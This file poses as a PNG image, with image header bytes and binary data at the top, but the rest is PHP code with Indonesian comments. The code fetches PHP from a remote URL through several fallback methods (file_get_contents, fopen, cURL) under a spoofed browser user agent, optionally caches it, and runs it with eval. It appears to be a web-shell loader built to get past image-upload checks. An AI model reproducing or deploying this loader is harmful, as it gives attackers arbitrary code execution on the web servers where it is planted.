mkA~(@^_^@)~PNG
IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ±üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0AºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT
p0
[
'timeout' => 5,
'header' => "User-Agent: Mozilla/5.0\r\n"
]
]);
switch ($method) {
case 'file':
if (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$code = @file_get_contents($url, false, $ctx);
if (!$code) log_error("file_get_contents gagal.");
}
break;
case 'fopen':
if (function_exists('fopen')) {
$fp = @fopen($url, 'r', false, $ctx);
if ($fp) {
stream_set_timeout($fp, 5);
$code = stream_get_contents($fp);
fclose($fp);
} else {
log_error("fopen gagal.");
}
}
break;
case 'curl':
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_USERAGENT => 'Mozilla/5.0',
CURLOPT_FOLLOWLOCATION => true,
]);
$code = curl_exec($ch);
if (curl_errno($ch)) {
log_error("cURL Error: " . curl_error($ch));
}
curl_close($ch);
}
break;
default: // AUTO fallback
if (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$code = @file_get_contents($url, false, $ctx);
}
if (!$code && function_exists('fopen')) {
$fp = @fopen($url, 'r', false, $ctx);
if ($fp) {
stream_set_timeout($fp, 5);
$code = stream_get_contents($fp);
fclose($fp);
}
}
if (!$code && function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_USERAGENT => 'Mozilla/5.0',
CURLOPT_FOLLOWLOCATION => true,
]);
$code = curl_exec($ch);
curl_close($ch);
}
break;
}
// Simpan ke cache jika diaktifkan
if ($useCache && $code) {
file_put_contents($cacheFile, $code);
}
}
// Eksekusi dengan eval
if ($code && is_valid_php_code($code)) {
@eval("?>$code");
} else {
echo "Gagal mengambil atau memvalidasi kode PHP dari URL: " . htmlspecialchars($url) . "
";
log_error("Kode kosong atau tidak valid.");
exit;
}
?>